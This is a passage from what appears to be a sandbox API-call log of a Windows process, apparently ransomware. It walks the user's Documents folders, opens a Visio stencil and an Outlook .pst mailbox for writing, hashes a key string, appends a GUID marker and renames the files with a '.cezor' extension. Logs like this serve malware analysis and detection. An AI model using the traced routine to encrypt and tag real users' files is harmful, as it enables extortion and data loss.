0x306d528 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.714] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.715] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.715] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.716] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0060.716] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.716] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0060.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0060.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.717] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.717] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.717] PathFindFileNameW (pszPath="") returned="" [0060.717] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.717] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.717] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.717] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned=".ini" [0060.717] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0060.717] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned=".vss" [0060.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.719] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=0) returned 1 [0060.719] CloseHandle (hObject=0x5c4) returned 1 [0060.719] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\favorites.vss.cezor")) returned 1 [0060.719] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0060.719] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0060.719] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.720] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.720] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0060.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0060.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.720] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.720] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.720] PathFindFileNameW (pszPath="") returned="" [0060.720] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0060.720] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.720] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0060.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0060.720] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.720] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.720] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.720] PathFindFileNameW (pszPath="") returned="" [0060.721] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.721] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.721] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0060.721] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned=".pst" [0060.721] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.721] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=271360) returned 1 [0060.721] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.724] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x423da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.724] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.725] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.725] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x25805, lpOverlapped=0x0) returned 1 [0060.728] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.728] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.728] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.728] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0060.728] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.728] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.729] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.729] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.729] GetLastError () returned 0x0 [0060.729] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.729] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0060.730] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x42400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.812] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.812] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.812] CloseHandle (hObject=0x5c4) returned 1 [0060.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0060.815] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0060.815] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee6e0 | out: hHeap=0x670000) returned 1 [0060.815] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.cezor")) returned 1 [0060.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.816] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fee668 | out: hHeap=0x670000) returned 1 [0060.817] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0060.817] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0060.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0060.817] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0060.817] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, 